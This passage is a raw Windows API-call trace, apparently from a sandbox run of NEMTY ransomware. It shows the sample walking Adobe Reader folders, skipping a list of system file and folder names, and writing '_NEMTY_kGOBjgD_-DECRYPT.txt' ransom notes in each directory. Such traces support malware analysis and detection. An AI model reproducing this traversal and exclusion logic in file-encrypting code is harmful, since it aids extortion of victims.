[0194.181] lstrcmpiW (lpString1="Resource", lpString2="bootmgr") returned 1 [0194.181] lstrcmpiW (lpString1="Resource", lpString2="programdata") returned 1 [0194.181] lstrcmpiW (lpString1="Resource", lpString2="appdata") returned 1 [0194.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.181] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Resource", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0194.181] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Resource", cchWideChar=8, lpMultiByteStr=0x653f250, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Resource", lpUsedDefaultChar=0x0) returned 8 [0194.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.181] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Resource", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0194.181] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Resource", cchWideChar=8, lpMultiByteStr=0x653f250, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Resource", lpUsedDefaultChar=0x0) returned 8 [0194.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351c60 [0194.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351cd8 | out: hHeap=0x4f90000) returned 1 [0194.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351cd8 [0194.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0194.181] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0194.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.181] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0194.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0194.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.181] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0194.181] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0194.182] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0194.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0194.184] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.184] WriteFile (in: hFile=0x1e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0194.185] CloseHandle (hObject=0x1e8) returned 1 [0194.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0194.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351cd8 | out: hHeap=0x4f90000) returned 1 [0194.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351cd8 [0194.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351d50 [0194.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351dc8 [0194.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0194.185] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0194.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.185] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0194.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0194.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.185] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0194.185] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0194.185] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0194.186] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0194.186] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.186] WriteFile (in: hFile=0x1e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0194.187] CloseHandle (hObject=0x1e8) returned 1 [0194.187] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0194.187] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351dc8 | out: hHeap=0x4f90000) returned 1 [0194.187] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6351dc8 [0194.187] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\*.*", lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2761bf50, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2761bf50, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423a30 [0194.187] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0194.187] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2761bf50, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2761bf50, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.187] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0194.187] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0194.188] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f934f00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80163aa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80163aa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CIDFont", cAlternateFileName="")) returned 1 [0194.188] lstrcmpiW (lpString1="CIDFont", lpString2=".") returned 1 [0194.188] lstrcmpiW (lpString1="CIDFont", lpString2="..") returned 1 [0194.188] lstrcmpiW (lpString1="CIDFont", lpString2="...") returned 1 [0194.188] lstrcmpiW (lpString1="CIDFont", lpString2="windows") returned -1 [0194.188] lstrcmpiW (lpString1="CIDFont", lpString2="$RECYCLE.BIN") returned 1 [0194.188] lstrcmpiW (lpString1="CIDFont", lpString2="rsa") returned -1 [0194.188] lstrcmpiW (lpString1="CIDFont", lpString2="NTDETECT.COM") returned -1 [0194.188] lstrcmpiW (lpString1="CIDFont", lpString2="ntldr") returned -1 [0194.188] lstrcmpiW (lpString1="CIDFont", lpString2="MSDOS.SYS") returned -1 [0194.188] lstrcmpiW (lpString1="CIDFont", lpString2="IO.SYS") returned -1 [0194.188] lstrcmpiW (lpString1="CIDFont", lpString2="boot.ini") returned 1 [0194.188] lstrcmpiW (lpString1="CIDFont", lpString2="boot.ini") returned 1 [0194.188] lstrcmpiW (lpString1="CIDFont", lpString2="AUTOEXEC.BAT") returned 1 [0194.188] lstrcmpiW (lpString1="CIDFont", lpString2="ntuser.dat") returned -1 [0194.188] lstrcmpiW (lpString1="CIDFont", lpString2="desktop.ini") returned -1 [0194.188] lstrcmpiW (lpString1="CIDFont", lpString2="CONFIG.SYS") returned -1 [0194.188] lstrcmpiW (lpString1="CIDFont", lpString2="RECYCLER") returned -1 [0194.188] lstrcmpiW (lpString1="CIDFont", lpString2="BOOTSECT.BAK") returned 1 [0194.188] lstrcmpiW (lpString1="CIDFont", lpString2="bootmgr") returned 1 [0194.188] lstrcmpiW (lpString1="CIDFont", lpString2="programdata") returned -1 [0194.188] lstrcmpiW (lpString1="CIDFont", lpString2="appdata") returned 1 [0194.188] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CIDFont", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0194.188] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CIDFont", cchWideChar=7, lpMultiByteStr=0x653ef10, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CIDFont", lpUsedDefaultChar=0x0) returned 7 [0194.188] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CIDFont", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0194.188] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CIDFont", cchWideChar=7, lpMultiByteStr=0x653ef10, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CIDFont", lpUsedDefaultChar=0x0) returned 7 [0194.188] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0194.188] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351dc8 | out: hHeap=0x4f90000) returned 1 [0194.188] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94110 [0194.188] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0194.188] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0194.188] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.189] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0194.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0194.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.189] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94240 [0194.189] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0194.189] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0194.191] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0194.191] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.191] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0194.192] CloseHandle (hObject=0x1ec) returned 1 [0194.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0194.192] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0194.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94110 [0194.192] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94198 [0194.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94220 [0194.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0194.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0194.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0194.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0194.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942a8 [0194.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.193] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340048 [0194.193] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942a8 | out: hHeap=0x4f90000) returned 1 [0194.193] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0194.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0194.194] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.194] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0194.194] CloseHandle (hObject=0x1ec) returned 1 [0194.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0194.194] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0194.194] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94220 [0194.195] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f934f00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x276420b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x276420b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0194.195] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0194.195] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f934f00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x276420b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x276420b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0194.195] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0194.195] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0194.195] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53e434, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AdobeFanHeitiStd-Bold.otf", cAlternateFileName="ADOBEF~1.OTF")) returned 1 [0194.195] lstrcmpiW (lpString1="AdobeFanHeitiStd-Bold.otf", lpString2=".") returned 1 [0194.195] lstrcmpiW (lpString1="AdobeFanHeitiStd-Bold.otf", lpString2="..") returned 1 [0194.195] lstrcmpiW (lpString1="AdobeFanHeitiStd-Bold.otf", lpString2="...") returned 1 [0194.195] lstrcmpiW (lpString1="AdobeFanHeitiStd-Bold.otf", lpString2="windows") returned -1 [0194.195] lstrcmpiW (lpString1="AdobeFanHeitiStd-Bold.otf", lpString2="$RECYCLE.BIN") returned 1 [0194.195] lstrcmpiW (lpString1="AdobeFanHeitiStd-Bold.otf", lpString2="rsa") returned -1 [0194.195] lstrcmpiW (lpString1="AdobeFanHeitiStd-Bold.otf", lpString2="NTDETECT.COM") returned -1 [0194.195] lstrcmpiW (lpString1="AdobeFanHeitiStd-Bold.otf", lpString2="ntldr") returned -1 [0194.195] lstrcmpiW (lpString1="AdobeFanHeitiStd-Bold.otf", lpString2="MSDOS.SYS") returned -1 [0194.195] lstrcmpiW (lpString1="AdobeFanHeitiStd-Bold.otf", lpString2="IO.SYS") returned -1 [0194.195] lstrcmpiW (lpString1="AdobeFanHeitiStd-Bold.otf", lpString2="boot.ini") returned -1 [0194.195] lstrcmpiW (lpString1="AdobeFanHeitiStd-Bold.otf", lpString2="boot.ini") returned -1 [0194.195] lstrcmpiW (lpString1="AdobeFanHeitiStd-Bold.otf", lpString2="AUTOEXEC.BAT") returned -1 [0194.195] lstrcmpiW (lpString1="AdobeFanHeitiStd-Bold.otf", lpString2="ntuser.dat") returned -1 [0194.195] lstrcmpiW (lpString1="AdobeFanHeitiStd-Bold.otf", lpString2="desktop.ini") returned -1 [0194.195] lstrcmpiW (lpString1="AdobeFanHeitiStd-Bold.otf", lpString2="CONFIG.SYS") returned -1 [0194.195] lstrcmpiW (lpString1="AdobeFanHeitiStd-Bold.otf", lpString2="RECYCLER") returned -1 [0194.195] lstrcmpiW (lpString1="AdobeFanHeitiStd-Bold.otf", lpString2="BOOTSECT.BAK") returned -1 [0194.195] lstrcmpiW (lpString1="AdobeFanHeitiStd-Bold.otf", lpString2="bootmgr") returned -1 [0194.195] lstrcmpiW (lpString1="AdobeFanHeitiStd-Bold.otf", lpString2="programdata") returned -1 [0194.195] lstrcmpiW (lpString1="AdobeFanHeitiStd-Bold.otf", lpString2="appdata") returned -1 [0194.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0194.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeFanHeitiStd-Bold.otf", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0194.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.196] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeFanHeitiStd-Bold.otf", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeFanHeitiStd-Bold.otf", lpUsedDefaultChar=0x0) returned 25 [0194.196] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0194.196] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeFanHeitiStd-Bold.otf", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0194.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.196] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeFanHeitiStd-Bold.otf", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeFanHeitiStd-Bold.otf", lpUsedDefaultChar=0x0) returned 25 [0194.196] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0194.196] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0194.196] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0194.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0194.196] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeFanHeitiStd-Bold.otf", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0194.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0194.196] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeFanHeitiStd-Bold.otf", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeFanHeitiStd-Bold.otf", lpUsedDefaultChar=0x0) returned 25 [0194.196] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0194.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0194.196] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeFanHeitiStd-Bold.otf", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0194.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0194.196] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeFanHeitiStd-Bold.otf", cchWideChar=25, lpMultiByteStr=0x4f9ed58, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeFanHeitiStd-Bold.otf", lpUsedDefaultChar=0x0) returned 25 [0194.196] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0194.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f942a8 [0194.196] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0194.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94360 [0194.196] Sleep 